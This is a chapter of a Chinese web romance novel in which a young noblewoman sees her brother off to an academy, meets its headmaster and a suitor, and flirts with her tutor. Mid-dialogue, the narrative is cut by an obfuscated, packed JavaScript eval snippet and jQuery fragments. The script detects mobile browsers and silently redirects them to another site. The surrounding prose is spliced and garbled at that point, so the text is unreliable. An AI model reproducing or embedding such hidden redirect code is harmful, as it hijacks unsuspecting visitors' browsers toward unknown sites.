26. 居心不良
作品:《榻上君子》 隔天一早,睡梦中的卫姎被桃霜叫醒:“少君?少君您该起了。”
卫姎昨晚因着品鉴话本熬了大夜,此刻依然困倦得睁不开眼,她扯过被子盖过自己的脑袋翻身卷成长条,圆滚滚的就这么滚进了床榻最里侧:“再睡一会儿,就一会儿……”
她嘴上这么说,实际上没清醒多久就毫无意思地沉沉入睡继续跟周公下棋了。
“少君。”
榻边人不知何时换了一个,低沉温润的声音附在她耳畔,没等她反应过来已经被他连人带被子从最里头扯了出来。
“啊!”
卫姎猛地睁眼看见站在面前还嬉皮笑脸的公冶慎,心中顿时一阵无名火涌起:“笑什么笑?”
没见过别人睡懒觉的么!
公冶慎立马收敛笑容,垂眸可怜巴巴地作势要离开:“好,那我便只好去告诉晋安,少君有事不能陪着去书院送行了。”
“等等!”
卫姎一激灵地从床上爬起,她怎么忘了今日是阿兄入学天枢书院的日子?
前天吕晋安去参加了天枢的入院考试,书院夫子们批完当天下午直接派人送来了录取信,生怕吕晋安被别的书院抢走。
“我方才没醒脑子糊涂了,等我收拾完立马过去。”
桃霜闻言连忙端上装着温水的铜盆伺候梳洗,桃雪也捧着衣服在一旁守着。
公冶慎见状忍笑转身走出房门,恰好撞上刚端着早膳过来的屈嫱。
二人互相瞥了对方一眼,公冶慎微微偏身,挂着礼貌的微笑请她进去。
屈嫱全程只是睨他一眼,脸色看不出什么情绪,但比起之前还是柔和了不少。
卫姎狼吞虎咽如风卷残云般吃完早饭,随后立马冲向后院西门的马厩,出发去书院马车早在那边侯着了。
“阿姎!”
“哥,我来迟了。”
吕晋安一身竹青色长袍,发髻盘得端正,满脸春风喜色,见她来了更加高兴地迎上前:“没迟,况且你能来送我就很好了。”
到西京最好的书院读书这种事情,若不是有幸沾了阿姎的光,农户出身的他这辈子想都不敢想。
“兄长的人生大事,我做妹妹的怎么能缺席?”卫姎揽住一旁的吕向遥,“家人就是要互相支持才对。”
吕晋安点头:“阿姎说的对。”
他又看向一旁的公冶慎:“也多谢复临君,吕某将来若有幸能实现抱负入朝为官,定然不会忘记此恩情。”
“诶,不必谢我。”公冶慎抬手,“要谢便谢少君和卫家吧。”
赵华月最为直率,连忙大咧咧拉着儿子道:“都要谢,都要谢的!”
众人听罢都纷纷笑了,卫姎知道自家阿兄最重承诺,他若能出人头地定然会报答卫家。这也是公冶慎或者说卫家愿意帮他的真正原因。
天枢书院在上华城中区单独圈起的一块山地里,秦江贯穿始终,既结合车马喧的繁华又有山水间的静谧,选在这绝佳地段办学还真无愧于它天下第一院的名号。
马车一路驶进天枢书院内,不少路过的学子都被那豪华气派的马车吸引了视线。
京中但凡有些见识的世家子弟谁认不出那是卫家的车队,纷纷避让。而后又呼朋唤友地凑到停车的前庭四周等着看热闹。
“阿姊,外头好多人。”
吕向遥掀开一点帘子变看见外头围着的书院子弟,疑惑地看向卫姎:“不是说读书人都两耳不闻窗外事吗?我看他们跟村口的碎嘴老婆子挺像。”
“哈哈哈哈。”卫姎被妹妹逗笑了,“人都差不多,肯定也不关心的人没来这凑热闹。”
马车悠悠停下,早就在门口侯着的白胡子老头见她们下车立马迎上前:“复临啊,这位便是卫家的小少君吧?”
“是。”公冶慎抬手介绍,“少君,这位是书院院长薛太傅。”
卫姎点头问安:“薛太傅。”
院长捋着胡子摇头笑道:“老夫做太傅那是老早以前的事情了,现在学生都叫我薛老头。”
“老太傅是两朝帝师,和学生们玩在一处是您平易近人不拘小节,但我们做晚辈还得敬称一声太傅才好。”
“你这小子,何时也学着打这些官腔了。”
话音刚落似乎想到什么又面色一顿,止住了话头。公冶慎状似平常,笑着将吕晋安拉到前面:“晋安是个好苗子,日后就仰仗太傅多多关照了。”
薛院长满意地拍拍他的肩膀:“放心吧。”
薛太傅最为惜才,只看了吕晋安答卷的第一眼就知道此子前途不可限量。
上一个能让他有此感触的还是十二年前的公冶慎,可惜命运无常……
薛太傅万般怜惜地看向公冶慎,后者似乎早已放下,表情毫无波澜,笑着偏头问身旁的卫姎:“少君想逛逛书院吗?”
赵华月刚好张罗着要去帮吕晋安整理寝舍,吕向遥更是迫不及待得又蹦又跳两眼放光,卫姎想想反正今日也无事,便点头答应了。
天枢书院依山傍水,过了桥映入眼帘的便是供学生们休憩看书的囊萤室,卫姎刚走过便引来不少人抬眸观望。
先前去过卫府参加晚宴的立马认出这是卫家新接回来的少君,一时间囊萤室里尽是窸窸窣窣的议论声。
诗经有云“窈窕淑女,君子好逑”,更何况眼前的是卫姎这等明艳动人出身名门的大美女。春心萌动的书生们魂儿都飞到了窗外跟着卫少君飘走了。
不过和他们想象是截然相反,卫姎只就占了“卫”姓的高贵,虽容貌生得昳丽脱俗但却没有半分大家闺秀的架子,她也不甚在意那些人的,以前在村里时比这更直接的多得是。
走过学堂时正有夫子在给里面的学生上课,这批都是年级较小的,看着跟吕向遥差不多,摇头晃脑地读着课文,时不时如小鸡啄米般将头枕上书桌同周公短暂相会。
卫姎看得想笑,薛院长在旁有些无奈地摇头:“小孩子总是这样,晚上爱闹第二天上课就没精神。”
“要是我肯定就不会睡。”吕向遥哼哼两声,卫姎闻言晃了晃妹妹的手:“向遥也想到书院上学吗?”
没等吕向遥回话薛院长便乐呵呵的摸胡子:“我们书院也设有女子学堂,小娘子正适龄,也可以去参加入院考。”
“我?我……”吕向遥支支吾吾地往姐姐身后躲,卫姎知道她正纠结便替她回话:“此事还需跟婶娘商量,之后若真定下来再麻烦太傅吧。”
“好好好。”薛太傅连连点头,又起了别的心思,“卫少君若有意愿,也可到我们书院体验体验呐。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367343|181331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这……”
卫姎打小就对读书没什么兴趣,更别提进书院了。闻言赶紧给旁边幸灾乐祸的公冶慎使眼色,后者笑着接过话:“太傅好意我们心领了,不过少君已经另外请了老师,就不必麻烦书院了。”
“哦,请的是谁?”
卫姎拉过公冶慎:“这人远在天边,近在您眼前呐。”
“哦!原来是复临,那很好。他学识怕是还在老夫之上呢。”薛太傅摸摸胡子满脸欣赏地点头,公冶慎推辞:“太傅言重了,论做学问晚辈远不及您一半。”
一行人走到寥水汀,秦江流淌而过给这儿留下一大片临水汀洲,常常有候鸟栖居,书院不少学生都喜欢来这儿观江流赏鸟飞,抒发闲情逸致。
这不,遥遥就能看见一道颀长人影立于芦苇汀洲之上。
“那人是……”公冶慎不由得皱眉,薛太傅哈哈大笑:“那可是老夫的得意门生,江家的二公子。”
卫姎思考一番,江家?好像听过。
“元明,且先过来。”
薛太傅笑眯眯地将那青年唤到面前,青年恭恭敬敬地行礼:“学生见过太傅。”
他抬起头,这才看见薛太傅身后站着的少女:“这位是……”
青年面容清俊,一双桃花眼不显多情反倒添了温润如玉的气质,眉眼虽不及公冶慎的精致但也称得上美男子。
“我叫卫姎。”
“原来是卫家少君。”青年垂眸,“在下江研修,字元明。家父是吏部尚书江睿昌,昨日我突发不适没能去贵府上庆贺,甚觉遗憾。幸得今日还能在这儿遇到少君。”
卫姎虽然根本不记得他爹是昨日宾客里的哪一个但还是礼貌地点头应和:“有缘有缘。”
江研修笑得也含羞带怯,落在公冶慎眼里真是处处做作,故意哼哼唧唧装给谁看?
“少君来书院是办入学吗?”
江研修刚想说要不要他帮忙带着逛逛,公冶慎忽然转向院长开口:“忽然想起来下午卫老太君还要考少君的的功课,我看今日是不能多逛了。”
卫姎正愁不知道怎么摆脱江研修,闻言也附和着恍然大悟地懊恼:“哎呀差点忘了这头等大事,那太傅,江公子,之后有机会我再过来吧。”
话都说到这份上薛太傅也没理由再留人,只好同江研修一同将人送到马车旁。
吕向遥被屈嫱带着去找赵华月了,卫姎踏上马车:“多有叨扰,二位请回吧。”
岂料她前脚进去后脚公冶慎也跟着上来了,还不忘回头冲江研修留下得意一笑。
都是男人,姓江的心里打着什么算盘他一清二楚。
可惜,少君不喜欢他这一款。
“你怎么上来了?”
卫姎挑眉看他,语气里尽是调侃。
“我作为少君的老师,有必要过来给您上一课。”
“哦?请君尽言。”
公冶慎话里有话:“少君出门在外,一定要小心某些心怀不轨的人。”
“好,不过我还想问,身边居心不良的人要不要提防?”
卫姎边说边伸手抬起青年的下巴,公冶慎轻笑一声:“那…悉听尊便?”
“这还差不多。”卫姎点点他的脸颊,有意无意地蹭过他温热耳廓:“今晚继续过来上课。”